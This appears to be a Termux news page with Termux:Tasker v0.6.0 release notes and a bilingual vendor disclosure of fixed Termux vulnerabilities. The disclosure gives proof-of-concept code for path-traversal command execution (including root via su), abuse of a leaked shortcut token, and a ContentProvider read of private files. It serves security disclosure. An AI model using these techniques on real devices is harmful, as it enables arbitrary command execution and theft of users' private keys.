Termux:Tasker
v0.6.0
版本已经发布。
强烈建议您更新到 v0.5.0
或更高版本以修复 Termux 应用程序漏洞披露 。
您可以在 这里 查看版本。
为后台命令添加对stdin
的支持。 用户现在可以通过 stdin
传递脚本, 比如 $PREFIX/bin/bash
shell的bash
脚本和$PREFIX/bin/python
shell 的python
脚本或任何其他命令。注意: 如果通过stdin传递脚本,请不要传递参数,因为shell的原因,它会出错(至少bash是如此)。因为Tasker捆绑限制最大脚本长度为45k,详情请查看EditConfigurationActivity.setStdinView()
添加对后台命令可以自定义日志级别的支持。值必须介于 Logger
。LOG_LEVEL_OFF (0)and
Logger.MAX_LOG_LEVEL(currently
Logger.LOG_LEVEL_VERBOSE (3)按照[
termux/termux-app@60f37bde](https://github.com/termux/termux-app/commit/60f37bde). ([
5bf15189`](https://github.com/termux/termux-tasker/commit/5bf15189))
添加对前台命令的会话操作支持。 有效值由 TermuxConstants
定义。TERMUX_APP.TERMUX_SERVICE.VALUE_EXTRA_SESSION_ACTION_*, 目前,介于
0and
3 在 https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856. ([
6f6ddd0d`](https://github.com/termux/termux-tasker/commit/6f6ddd0d))
添加对等待前台会话命令结果的支持。先前配置的操作将表现相同,只等待后台命令。 对于创建或编辑的操作, Wait for result for commands
切换值将用于决定是否等待命令的结果. 它适用于前台会话和后台命令. 请注意,对于前台命令, 仅返回会话记录,其中包含组合在 %stdout
变量中的stdout
和stderr
, 基本上任何发送到/dev/pts
伪终端的东西,包括交互式会话的PS1
前缀。对于退出失败的前台命令,需要 termux-app
版本 >=0.118
才能让会话自动关闭,而无需等待用户按 回车termux/termux-app@c19e01fc
. 关闭 #39. (fecba503
)
根据termux/termux-app@f62febbf
和 termux/termux-app@a2209ddd
. (1c1567f2
)添加对%stdout_original_length
和 %stderr_original_length
结果变量的支持。
添加可以选择禁用的启动器图标/活动. 这允许用户知道他们是否安装了 termux 插件,而无需转到 android 设置里的应用列表,并且应该有助于减少当用户转移 termux 安装源并获取签名与以前安装的版本不匹配时产生的问题。 某些手机也需要这样做,以允许用户从 DuraSpeed 等 OEM 后台杀手中选择退出该应用程序。相关问题 termux/termux-widget#56
. (8a78f282
)
根据 Android 12
的要求为应用组件添加显式导出属性。 https://developer.android.com/about/versions/12/behavior-changes-12#exported. (50e20b22
)
根据 night-mode
termux.properties
值添加对 EditConfigurationActivity
的日/夜间主题的支持. TextIOActivity
stdin 将始终使用浅色主题,因为它目前不支持深色模式。将来使用媒体查看器支持更新termux-shared
时将添加支持. (b2cc90b6
)
将插件从github repo url 发送到 TermuxService
以在失败时显示。 (2eca337f
)
创建版本时自动附加调试 APK。 (705361ec
)
添加LICENSE.md
。(cf1eda49
)
添加了崩溃处理程序,以便在启动时可以在 termux-app
中显示崩溃通知。 (63e76458
)
对于stdin
,重新设计了插件配置视图和 CardView
支持。termux-shared
提供的 TextIOActivity
将暂时使用。 (05af1af1
, b52db047
, 9c287360
)
启用后台模式并等待新插件配置的结果切换。 (70d97e7a
)
保存时保留插件配置值,即使它们不会被使用,因为标准输入脚本可能会被删除。 (26e1f5ea
)
移动到应用程序版本的语义版本控制,并将提交的哈希值和 github
添加到 APK 文件名。(4920bcd2
)
在简介中将参数长度修改为20
。 (a80fe8fb
)
将简介长度从60
增加到120
,因为 Tasker 没这个限制。 如果它影响到了其他插件应用程序, 应该报告,以便可以使用条件简介大小. (a5bcd56a
)
禁用 shrinkResources
和混淆以测试可重现的构建和维护崩溃的堆栈跟踪。 (93555047
)
打开插件配置时不自动打开键盘。 (267cf61c
)
删除所有硬编码的 com.termux
常量,并使用 termux-shared
库中的 TermuxConstants
和 TermuxPreferenceConstants
的值。 (63e76458
)
使用 TermuxConstants
中为 PluginUtils
定义的 TermuxService
返回的额外常量. (63e76458
)
使用 termux-shared
提供的 FileUtils
和 TermuxFileUtils
来处理所有文件相关的功能,它有更好的, 更安全和更新的代码。 (63e76458
)
使用 termux-shared
提供的 TermuxTaskerAppSharedPreferences
来处理 SharedPreferences
功能。 (63e76458
)
使用 termux-shared
提供的 Logger
进行日志记录。 日志级别不会从每个日志条目的 SharedPreferences
中获取,但会在应用程序启动时从 SharedPreferences
加载到 Logger.CURRENT_LOG_LEVEL
变量中以及作为单独进程运行并维护单独的 Logger 的
FireReceiver中
实例。 termux-app
还可以从其设置中设置日志级别。 (63e76458
)
修复未从文件中读取日志级别的问题,该问题已在上游的 TermuxTaskerAppSharedPreferences
中修复。 (63e76458
)
以前的工作目录只有在 TermuxConstants
下才会自动创建。TERMUX_HOME_DIR_PATH 但现在即使它在
TermuxConstants.TERMUX_FILES_DIR_PATH 下也会被创建。[
63e76458`](https://github.com/termux/termux-tasker/commit/63e76458)
使用 ExecutionCommand
类来处理 FireReceiver
中的附加意图,因为它们与 TermuxService
ACTION_SERVICE_EXECUTE
意图一致。(63e76458
)
使用 termux-shared
提供的 TermuxUtils
和 PackageUtils
并删除现有的 TermuxUtils
。 TermuxUtils.isTermuxAppAccessible()
还将检查 termux-tasker
是否可以访问 termux-app
包 Context
。 (63e76458
)
修复由于使用相同的请求代码而发送到 TermuxService
的用于执行命令的PendingIntent
存在潜在冲突 (d9a172d7
)
修复切换到横向模式时出现 android.view.WindowManager$BadTokenException: Unable to add window exception
(d0e88055
)
修复为null
插件bundle返回的错误字符串 (a0aaf8e8
)
如果没有将额外参数传递给FireReceiver
,则修复NullPointerException
(49acd107
)
处理无法获取版本代码以生成插件结果包不太可能的情况 (f6e33687
)
添加 Google Play商店的弃用通知 (17c69428
)
添加贡献和分叉信息 (78fbc00e
)
更新调试说明 (81828177
)
更新插件配置说明 (f86a675a
)
更新安装说明 (ea1225ae
)
删除指向 Google Play和 Nethunter 商店的链接。 因为两者都提供过时的构建 (552d592e
)
Updates
选项卡中从顶部下拉以显示更新)Termux:Tasker
v0.6.0
is out.
It is highly recommended that you update to v0.5.0
or higher for fixes for vulnerabilities disclosed in the Termux Apps Vulnerability Disclosures post.
You can check the release at github here.
Add support for stdin
for background commands. Users can now pass scripts via stdin
, like a bash
script to the $PREFIX/bin/bash
shell and a python
script to the $PREFIX/bin/python
shell or any other commands. Note that if passing script via stdin
, do not pass arguments, since it will fail depending on shell, at least will for bash
. Max length of script supported is 45K
characters as per Tasker plugin bundle limits, check EditConfigurationActivity.setStdinView()
for details. Closes #46. (05af1af1
)
Add support for custom log level for background commands. Values must be between Logger.LOG_LEVEL_OFF (0)
and Logger.MAX_LOG_LEVEL
(currently Logger.LOG_LEVEL_VERBOSE (3)
as per termux/termux-app@60f37bde
. (5bf15189
)
Add support for session action for foreground commands. Valid values are defined by TermuxConstants.TERMUX_APP.TERMUX_SERVICE.VALUE_EXTRA_SESSION_ACTION_*
, currently, between 0
and 3
at https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856. (6f6ddd0d
)
Add support for waiting for foreground session command results. Previously configured actions will behave the same, i.e wait for only background commands. For new or edited actions, the Wait for result for commands
toggle value will be used to decide whether to wait for result of commands. It will apply to both foreground session and background commands. Note that for foreground commands, only the session transcript is returned which will contain both stdout
and stderr
combined in %stdout
variable, basically anything sent to the the pseudo terminal /dev/pts
, including PS1
prefixes for interactive sessions. For foreground commands that exited with failure will require termux-app
version >=0.118
for sessions to automatically close without waiting for user to press enter as per termux/termux-app@c19e01fc
. Closes #39. (fecba503
)
Add support for %stdout_original_length
and %stderr_original_length
result variables as per termux/termux-app@f62febbf
and termux/termux-app@a2209ddd
. (1c1567f2
)
Add launcher icon/activity that can optionally be disabled. This allows users to know if they have installed the termux plugin without having to go to android settings app list and should help reduce issues created when users shift termux installation source and get signatures do not match previously installed version errors. This is also required on some phones to allow the user to opt out the app from OEM background killers like DuraSpeed. Related issue termux/termux-widget#56
. (8a78f282
)
Add explicit exported attribute for app components as required by Android 12
. https://developer.android.com/about/versions/12/behavior-changes-12#exported. (50e20b22
)
Add Day/Night theme support for EditConfigurationActivity
based on night-mode
termux.properties
value. The stdin TextIOActivity
will always use light theme since it doesn't currently support dark mode. Support will be added in future when termux-shared
is updated with media viewer support. (b2cc90b6
)
Send plugin github repo url to TermuxService
to be shown in case of failure. (2eca337f
)
Automatically attach debug APKs when a release is created. (705361ec
)
Add LICENSE.md. (cf1eda49
)
Added crash handler so that crash notifications can be shown in termux-app
at startup. (63e76458
)
Redesign plugin configuring views with CardView
support. For stdin
, the TextIOActivity
provided by termux-shared
will be used temporarily. (05af1af1
, b52db047
, 9c287360
)
Enable background mode and wait for results toggle for new plugin configs. (70d97e7a
)
Keep plugin config values when saving even if they wont be used since stdin scripts may be deleted accidentally. (26e1f5ea
)
Move to semantic versioning for app version and add commit hash and github
to APK file names.(4920bcd2
)
Trim arguments length to 20
in blurb. (a80fe8fb
)
Increase blurb length from 60
to 120
since Tasker doesn't have that limit. If it affects other plugin host apps, it should be reported so that conditional blurb size can be used. (a5bcd56a
)
Disable shrinkResources
and obfuscation for testing reproducible builds and maintaining stacktraces of crashes. (93555047
)
Do not automatically open keyboard when opening plugin configuring. (267cf61c
)
Remove all hardcoded com.termux
constants and use the values defined by TermuxConstants
and TermuxPreferenceConstants
in termux-shared
library. (63e76458
)
Use extra constants returned by TermuxService
defined in TermuxConstants
for PluginUtils
. (63e76458
)
Use FileUtils
and TermuxFileUtils
provided by termux-shared
to handle all file related functionality which has better, safer and more updated code. (63e76458
)
Use TermuxTaskerAppSharedPreferences
provided by termux-shared
for handling SharedPreferences
functionality. (63e76458
)
Use Logger
provided by termux-shared
for logging. Log level will not be got from SharedPreferences
for each log entry but will be loaded from SharedPreferences
into the Logger.CURRENT_LOG_LEVEL
variable at application startup and also in FireReceiver
which runs as a separate process and maintains separate Logger
instance. The termux-app
can also set the log level from its settings. (63e76458
)
Fix issue where log level was not being read from file, which has been fixed in TermuxTaskerAppSharedPreferences
in upstream. (63e76458
)
Previously working directory would only be created automatically if it was under TermuxConstants.TERMUX_HOME_DIR_PATH
but now it will be created even if its under TermuxConstants.TERMUX_FILES_DIR_PATH
. (63e76458
)
Use ExecutionCommand
class to handle intent extras in FireReceiver
since they are consistent with that of TermuxService
ACTION_SERVICE_EXECUTE
intent. (63e76458
)
Use TermuxUtils
and PackageUtils
provided by termux-shared
and remove existing TermuxUtils
. The TermuxUtils.isTermuxAppAccessible()
will also check if termux-tasker
can access termux-app
package Context
. (63e76458
)
Fix potential conflicting PendingIntent
for execution commands sent to TermuxService
due to same request code being used. (d9a172d7
)
Fix android.view.WindowManager$BadTokenException: Unable to add window exception
when switching to landscape mode. (d0e88055
)
Fix wrong error string returned for null
plugin bundle. (a0aaf8e8
)
Fix NullPointerException
if arguments extra is not passed to FireReceiver
. (49acd107
)
Handle unlikely case where failed to get version code to generate plugin result bundle. (f6e33687
)
Add google play store deprecation notice. (17c69428
)
Add contributing and forking info. (78fbc00e
)
Update debugging instructions. (81828177
)
Update plugin configuration instructions. (f86a675a
)
Update install instructions. (ea1225ae
)
Remove links to Google Play and Nethunter stores. Both offer outdated builds. (552d592e
)
Updates
tab for the update to show)If you face any issues, feel free to report them at Github, Matrix or Reddit. Thanks :)
]]>termux-app
、termux-tasker
和 termux-widget
的漏洞报告。
本报告发布于 2022-02-15
, 距 离 termux-app
v0.118.0
发布还剩30
天, 距离谷歌应用商店构建版本的程序被官方地使用添加在 termux-tools
v0.135
中的终端横幅以及 添加带有弃用信息的 termux-app
README 弃用大约有 150
天。 这应该已经为使用谷歌应用商店版本 (最新版本 v0.101
) 的用户留出足够的时间来切换到在 F-Droid 或 Github 发布的 Termux
主程序以及其插件应用,并为其他 <= v0.117
版本的 Termux 应用程序用户提供足够的时间更新为 >= v0.118.0
版本。
建议所有使用旧版本的用户立即更新到Termux
v0.118.0
、 Termux:Tasker
v0.5
以及 Termux:Widget
v0.13.0
此漏洞允许其他程序在 termux
上下文执行 任意指令 。如果 termux
被其他应用赋予了 root 权限,甚至可以允许在 root
权限的环境中执行。
本漏洞首先存在于 v0.1
(2016-12-26
) 版本, <= v0.4
的任意版本都会受到该漏洞的影响。本漏洞被修复于 v0.5
(2020-12-07
).
该漏洞源于 Termux:Tasker 应用程序的 FireReceiver.java
文件中,该文件中没有对可执行文件的完整规范路径进行检查并按提供的原样执行。实际上, Termux:Tasker
应用程序仅允许执行 ~/.termux/tasker
目录中的脚本,以防止其他应用程序在 termux 上下文中执行任意命令,但没有对可执行文件进行规范路径检查。其他应用程序可以发送 ../../../usr/bin/bash
作为 executable
参数、 -c "some termux context command"
作为 args
参数以在 termux
环境中执行命令,或者发送 .. /../../usr/bin/su
作为 executable
参数、 -c "some root context command"
作为 args
参数以在 root
权限的环境中执行命令
注意,不一定是 Termux 插件的应用程序将 Intent 发送到 FireReceiver
,任何应用程序都可以使用 Java 代码发送 Intent。 Termux:Tasker Exploit
给出了如何使用 Tasker
的 Java Action 来模拟一个普通的应用程序发送 Intent。
Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");
Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);
intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);
目前,向 FireReceiver
发送 Intent 需要向调用应用程序授予 com.termux.permission.RUN_COMMAND
,一个 危险
的运行时权限,该权限由 Termux app 发布。 在 v0.5
版本发布之前,从 v5.9.3
版本开始的 Tasker 应用已经请求过 RUN_COMMAND
intent 权限。其他自动化测试应用需要在之后的版本 (26da42f7
) 中请求此权限。
在执行之前, FireReceiver
首先 寻找并校验 executable
参数的规范路径。 从 v0.5
版本开始,正式支持允许执行 ~/.termux/tasker
目录之外的可执行文件,但前提是用户已经将 allow-external-apps=true
添加到 ~/.termux/termux.properties
中。 (a5af3db3
)
这种由 Android 系统权限和应用程序设置绝对路径强制执行属性的双重权限模型提供了合理的安全性。除非用户将权限授予不受信任的应用程序,否则可以防止任何任意代码执行或权限提升。
访问 Termux:Tasker
的 README
文件来获取更多详细信息。
这种漏洞的存在,很大程度上是因为 任何程序都可以向自动化测试程序 (比如 Tasker
) 的插件程序发送 Intent。Tasker
,以及它使用的 locale
插件协议库是在 2008
年左右创建的。当时,安卓系统不存在运行时权限,并且插件的安全性以及可能存在的危险使用方法可能在当时并不算是首要任务/关注点。 但是,对于被授予特殊权限 (例如设备管理员、设备所有者、Android 辅助功能 (无障碍服务),甚至存储、位置等) 的插件应用程序,它们的安全性确实尤其令人担忧。例如,SecureTask
插件,需要被设置为设备管理员,甚至许多功能需要被设置为设备所有者。如果用户在手机上安装了该应用程序,并授予 SecureTask
程序设备管理员的权限,那么任何应用程序都可以直接向其发送 Intent,而无需通过 Tasker 运行特权命令,包括 恢复出厂设置 等。
Termux:Tasker
所需要的 com.termux.permission.RUN_COMMAND
权限,要求 Tasker 等自动化应用程序在其 AndroidManifest.xml
中请求权限,但不能指望所有的插件都这样去做,因为添加这种权限需要自动化应用程序开发者的手动干预。此外,私有的插件可能存在自定义权限,他们的开发人员可能并不想公之于众。之后,可能需要设计某种令牌生成和验证机制,也许会作为 locale
库的核心部分。希望在不久的将来,Termux、自动化程序以及 locale
库的开发者可以一起协作来实现这种功能,因为当前的设计并不是所预期的。
本漏洞允许任何 启动器程序 在 termux
环境中执行 任意指令。如果 termux
被其他应用赋予了 root 权限,甚至可以允许在 root
环境中执行。在该启动器中, 任何的恶意应用程序 已经创建了一个快捷方式,该快捷方式启动了 Termux:Widget
的 shortcut chooser activity。当用户不小心点击了这个快捷方式时,无论该启动器是否为默认启动器,此漏洞都会被触发。
此漏洞首先存在于 v0.3
(2015-12-20
)版本,从 v0.3
到 <= v0.12
的任意版本均会受到该漏洞的影响。此漏洞被修复于 v0.13.0
(2021-09-23
)版本。
Termux:Widget
的 "安全性" 通过 生成 Token 并将其存储在 SharedPreferences 中来实现。目前,启动器每次创建为静态快捷方式时,都会 发送这个Token 作为创建出的快捷方式 Intent 中的额外内容。当用户点击该快捷方式时,快捷方式的 Intent 由启动器应用程序发送并由 TermuxLaunchShortcutActivity
接收,并检查 Intent 中的 Token 与 SharedPreferences 中的Token 是否匹配。现在这种方式提供了不错的安全性,并且是 API 的一般工作方式。但是,旧版本的程序 没有进行规范路径校验,并将其按原样传递给 TermuxService
。没有检查规范路径是否在 ~/.shortcuts
目录下。因此,一旦恶意的启动器或任何其他的应用程序收到 Token,它就可以随时执行任何命令,如用于前台命令的 "/sdcard/exploit.sh" 或者用于后台的 "/sdcard/tasks/exploit.sh" (Termux:Widget
会将其设定为后台任务,因为父目录名等于tasks
)。
通过 Termux Terminal 创建一个快捷方式: touch ~/.shortcuts/tasks/test
通过以下方式获取 Token: 安装并打开 TaskerLauncherShortcut
, 点击 选项 (右上角的三个点按钮),选择 Search Shortcuts
-> Static Shortcut
-> Termux:Widget
-> 选择任意一个快捷方式, Intent URI 会被复制到剪切板,比如 com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end
。也可以通过 Termux Terminal 来获取 Token,在至少创建了一个快捷方式后,执行 cat /data/data/com.termux.widget/shared_prefs/token.xml
。
通过 Termux Terminal 创建漏洞利用脚本: echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh
通过 Termux Terminal 或者 adb shell
触发此漏洞: am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025
或者从任何一个应用程序,执行以下 Java 代码:
Intent intent = new Intent();
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
intent.setData(Uri.parse("/sdcard/exploit.sh"));
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
startActivity(intent);
Termux 应用程序将会执行使用 /data/data/com.termux/files/usr/bin/sh
执行 /sdcard/exploit.sh
脚本,/sdcard
被挂载为 noexec
也没有问题。
在 Android 版本 >=8
时,程序将使用 ShortcutManager
API 来创建Pinned Shortcut。这是一个创建快捷方式的更好方法,因为启动器无法访问应用程序的快捷方式数据,Android 系统来储存这些数据,启动器应用程序无法获取 Token ,也无法运行任何不是由用户创建的快捷方式脚本。有关快捷方式类型的更多信息,请查看 https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types。 (e94d7777
)
在旧版本上, Termux:Widget
创建的快捷方式和 Token 已经失效。如果恶意应用程序已经拥有这种 Token ,也无法再使用。Android >= 8
上的用户只能使用更安全的 Pinned Shortcut API 来重新创建这些快捷方式,而不是继续使用不安全的 Static Shortcut API。 (32f344ee
)
在执行之前, 程序首先 寻找并校验 TermuxLaunchShortcutActivity
接收到的可执行文件参数的规范路径。即使某个程序发送的 Intent 发送了路径,损坏的符号链接,或者其规范路径不在 ~/.shortcuts
或 ~/.termux
目录下的快捷方式将 不会被显示,并且 后者会不允许被执行 。(32f344ee
, 32f344ee
, bcb0ab6c
)
在 Android 版本 >=8
上使用 Pinned Shortcut,不允许执行规范路径不在 ~/.shortcuts
或 ~/.termux
目录下的文件,可以提供合理的安全性,防止任意代码执行或权限提升。Android 版本 < 8
时,仍然要使用 Static Shortcut,这些用户应该关注他们在哪些应用程序中创建了快捷方式,因为这些应用程序能够在允许的目录下执行任何脚本。这些用户通常应该去关注使用了哪些启动器,或者安装在他们的设备上的非启动器的快捷方式应用程序 (例如 Shortcut Maker),因为这些应用程序可以为其他应用程序执行危险的快捷方式,如果应用程序没有正确保护,可能会产生严重的后果。
查阅 Termux:Widget
的README
文件来获取更多详细信息。
本漏洞允许 /data/data/com.termux/files
下的 所有文件 对 任何应用程序 可读。
本漏洞首先存在于 v0.47
(2017-02-28
)版本,从 v0.47
到 <= v0.117
的任意版本均会收到该漏洞的影响。本漏洞被修复于 v0.118.0
(2022-01-08
)版本。
该漏洞存在于 Termux 的 ContentProvider
声明 中,因为设置了 android.permission.permRead
作为 readPermission
。实际上,当用户请求使用另一个应用程序打开文件,比如使用 termux-open
时,Termux 会传递 FLAG_GRANT_READ_URI_PERMISSION
标志,所以目标应用不需要具有 android.permission.permRead
权限也可以读取文件,这也需要 provider
元素中声明 grantUriPermissions="true"
。但是,如果某些应用程序有这个权限,它就可以通过 Termux TermuxOpenReceiver$ContentProvider.openFile()
去 读取 files
目录下的任何文件。
问题是,正如 com.termux.permission.RUN_COMMAND
这种自定义权限一样,Termux 并未公开声明 android.permission.permRead
权限。这种未公开声明权限可以被称为虚拟权限 (dummy permission),可能是在添加 ContentProvider
时从一些教程或 StackOverflow 的回答中复制的,因为互联网搜索会显示来自不同站点的各种随机结果。这种虚拟权限本来应该被应用程序发布的自定义权限所替换,但事实上并非如此。这将会导致 任何应用 只需在自己的 AndroidManifest.xml
中发布这种权限,并通过 uses-permission
条目授予自己这种权限,就能够 读取 files
下的任何文件和目录。
注意,其他应用程序只能 读取 文件,但不能 写入 文件,因为 TermuxOpenReceiver$ContentProvider.openFile()
返回了一个使用 ParcelFileDescriptor.MODE_READ_ONLY
文件的文件描述符,因此无法写入,如果调用者尝试写入,将会得到 java.io.IOException: write failed: EBADF (Bad file descriptor)
错误。 provider
元素中也没有设置 writePermission
。这仅仅防止了任意代码执行和权限提升,在某些情况下,情况仍然十分糟糕。
下面这段 POC 将读取 /data/data/com.termux/files/home/.bashrc
并写入到 /sdcard/bashrc.txt
。
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
<permission
android:name="android.permission.permRead"
android:description="@string/permission_termux_provider_description"
android:icon="@mipmap/ic_launcher"
android:label="Termux Provider"
android:protectionLevel="normal" />
<uses-permission android:name="android.permission.permRead" />
在 Termux ContentProvider
的声明中,虚拟权限 android.permission.permRead
readPermission
被悄悄地替换为 com.termux.permission.RUN_COMMAND
。用于 RUN_COMMAND
Intent 和其他插件执行命令的 com.termux.permission.RUN_COMMAND
权限来替换这个虚拟权限似乎是合适的,因为命令执行可以访问文件,并且对于第三方应用来说,请求单个权限会更容易。(b62645cd
)
TermuxOpenReceiver$ContentProvider.openFile()
返回的文件描述符中的模式,之前是 ParcelFileDescriptor.MODE_READ_ONLY
,现在改为 以允许读和写或由 ParcelFileDescriptor.parseMode()
返回的任何文件模式。通过此更改,没有 com.termux.permission.RUN_COMMAND
权限的应用程序将被拒绝访问文件,除非通过 termux-open
授予临时的读取权限。对于具有该权限的应用程序,他们可以使用以下代码进行读写。注意,如果调用程序被强制开启分区存储机制 (例如 targetSdkVersion
> 28
),那么使用 File
APIs (outFile.createNewFile()
) 写入到外部储存将会失败。(b62645cd
)
private void runTermuxContentProviderWriteCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
FileOutputStream fileOutputStream = null;
BufferedWriter bufferedWriter = null;
ParcelFileDescriptor parcelFileDescriptor = null;
try {
parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
bufferedWriter.write("echo 'some script'\n");
bufferedWriter.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (parcelFileDescriptor != null)
parcelFileDescriptor.close();
if (fileOutputStream != null)
fileOutputStream.close();
if (bufferedWriter != null)
bufferedWriter.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
if (!outFile.exists())
outFile.createNewFile();
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
~/.termux/termux.properties
中将 allow-external-apps
设置为 true
时才允许 Termux ContentProvider
访问文件。 如果在 v0.118.0
中,未将该值设置为 true
,这也会导致 termux-open
和 xdg-open
命令失败。将来的版本中,将添加错误通知。像 QuickEdit
这样的调用程序可能仍会弹出一个一闪而过的错误提示。查阅 https://github.com/termux/termux-tasker#allow-external-apps-property-optional 来获取有关如何更改选项中值的信息。 通过 ContentProvider
来写入 ~/.termux/termux.properties
的权限也被禁用,因此应用程序无法在未经用户同意的情况下修改 Termux 设置,尽管现在还可以使用 RUN_COMMAND
Intent 执行这种操作,最后可能会实现白名单命令列表来给用户更多的控制权。 (dcedf394
, e302a14c
)对于使用 Termux 应用程序版本 <= v0.117
的用户,应该假定所有的私有文件 (例如 ssh
的安全密钥,或其他应用的加密密钥) 都已经泄露。强烈建议使用新的密钥替换任何此类密钥,并从 Termux 连接的任何远程服务器中查看是否存在任何可疑的授权访问。
仍然在使用谷歌应用商店版本的 Termux 用户,请 立即 切换到F -Droid 或 Github Release 的版本。尽管曾经可能会进行一些更新,但由于 Android 10
的一些问题,谷歌应用商店上的程序之后不会再继续更新。谷歌应用商店的构建版本已经在约 150
天前被弃用,也不会再提供任何支持。查阅 https://github.com/termux/termux-app#installation 来获取有关如何安装或更新 Termux 应用程序的更多信息。
理想状况下,谷歌应用商店、F-Droid 以及其他的应用商店也应该检查是否有任何其他应用程序正在使用 android.permission.permRead
或 android.permission.permWrite
权限,或在应用程序的互联网搜索中有应用程序存在 ContentProvider 声明中的其他虚拟权限 (dummy permissions),并通知他们的开发者,因为这些应用程序也容易受到此类漏洞的攻击。此外,任何声明或请求这些权限的恶意应用程序也应该被发现并删除。
如果任何其他开发人员对 Termux
及其插件的应用程序代码进行审计,以查找其他潜在的安全漏洞并修复,从而为用户提供更安全的环境,我们将不胜感激。
termux-app
, termux-tasker
and termux-widget
.
It is being released on 2022-02-15
, after 30
days of termux-app
v0.118.0
release and ~150
days since Google Playstore builds were officially deprecated with a terminal banner added in termux-tools
v0.135
and termux-app
readme was updated with deprecation details. This should have allowed enough time for users on Google Playstore builds (latest version v0.101
) to move to F-Droid/Github releases for Termux
app and all its plugin apps and enough time for other Termux
app users on <= v0.117
to update to >= v0.118.0
.
Users are advised to immediately update to Termux
v0.118.0
, Termux:Tasker
v0.5
and Termux:Widget
v0.13.0
if they are using any older version.
This vulnerability allowed execution of any command in termux
context or even root
context if termux had been granted root permissions by any app.
The vulnerability existed since the first release of the plugin v0.1
(2016-12-26
) till <= v0.4
and was fixed in v0.5
(2020-12-07
).
The vulnerability existed in FireReceiver
of the Termux:Tasker
app where it didn't check the full canonical path of the executable and executed it as is. The Termux:Tasker
app is only meant to allow scripts in ~/.termux/tasker
directory to be executed to prevent arbitrary commands to be run in termux context by other apps but without the canonical path check for the executable, an app could send ../../../usr/bin/bash
as the executable value and -c "some termux context command"
as args value to run commands in termux
context or send ../../../usr/bin/su
as the executable value and -c "some root context command"
as args value to run commands in root
context.
Note that it does not require a plugin app to send intents to FireReceiver
, but any app can send the intent using java. The Termux:Tasker Exploit
task does just that and uses Tasker
java actions to emulate how a normal app would send an intent.
Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");
Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);
intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);
To send an intent to FireReceiver
now requires com.termux.permission.RUN_COMMAND
, a dangerous
